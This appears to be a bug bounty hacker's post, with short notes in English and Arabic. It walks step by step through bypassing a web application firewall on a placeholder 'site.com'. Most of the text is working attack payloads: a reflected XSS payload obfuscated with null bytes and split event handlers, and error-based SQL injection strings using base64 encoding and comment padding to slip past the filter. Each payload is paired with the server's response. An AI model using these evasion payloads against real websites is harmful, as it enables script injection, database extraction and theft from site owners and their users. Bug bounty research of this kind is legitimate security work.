Xss
Hello Waf
site.com/cart/11?input=admin reflected
site.com/cart/11?input=admin' reflected admin'
site.com/cart/11?input=admin'" reflected admin'"
site.com/cart/11?input=admin'"> reflected admin'">
site.com/cart/11?input=admin'">< Access Denied 403
site.com/cart/11?input=admin>< reflected
site.com/cart/11?input=admin'>< reflected
site.com/cart/11?input=admin'">< Access Denied 403
site.com/cart/11?input=admin"<> reflected
site.com/cart/11?input=admin"<svg Access Denied 403
site.com/cart/11?input=admin"<1 Access Denied 403
hey waf
site.com/cart/11?input=leet"%00<svg reflected bypassed
site.com/cart/11?input?leet"%00<svg/OnlOad= Access Denied 403
site.com/cart/11?input?leet"%00<svg/OnlOads= event handler :(
All are blocked
site.com/cart/11?input?leet"%00<svg/O%0an%0al%0ao%0aa%0a%0a%0ad%3d Reflected Bypassed
site.com/cart/11?input?leet"%00<Svg/O%0an%0al%0ao%0aa%0a%0a%0ad%3dconfirm(1)
Access Denied 403

Final Payload
site.com/cart/11?input?leet"%00<Svg/O%0an%0al%0ao%0aa%0a%0a%0ad%3dconfirm%601%60>

Bounty $$$+Extra for bypassing waf

Hey Blind Sql ?
Hey Error Based?

1. site.com/search/test 200
2.site.com/search/test' Error
Something has gone wrong and this URL cannot be processed at this time.

3. site.com/search/test--+ Disallowed Key Characters in URL.
4. site.com/search/dGVzdA== test encoded base64
result. Your search for test returned 183 results
5. site.com/search/dGVzdCc= test' base64
result. Your search for test not found
6. https://www.site.com/search/dGVzdCctLSs= test'--+ base64
result. Your search for test returned 183 results
7. test' order by 1--+ not found
8. test'--+ result found
9. test' and extractvalue(0x0a,concat(0x0a,(select version())))--+ 403
10. test' and extractvalue/**_**/(0x0a,concat/**_**/(0x0a,(select/**_**/version())))--+ 403
11. test' and extractvalue%23AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%0a(0x0a,concat%23AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%0a(0x0a,(select%23AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%0aversion())))--+

hey version Found

bounty $$$$$

الwebsite دي https://www.bugbountyhunter.com عملت حاجه جميله جدا هي انهم نزلوا كل الريبورتات الpublicly disclosed على hackerone مترتبه بنوع الثغرات فكل program فدلوقتي تقدر تتعلم انواع الثغرات بشكل افضل و هيساعدك تفهم الprogram اللي بتشتغل عليه بشكل احسن

Awesome OSINT Navigator

◾️Source: https://start.me/p/rxRbpo/ti

➖➖HACKER VISION➖➖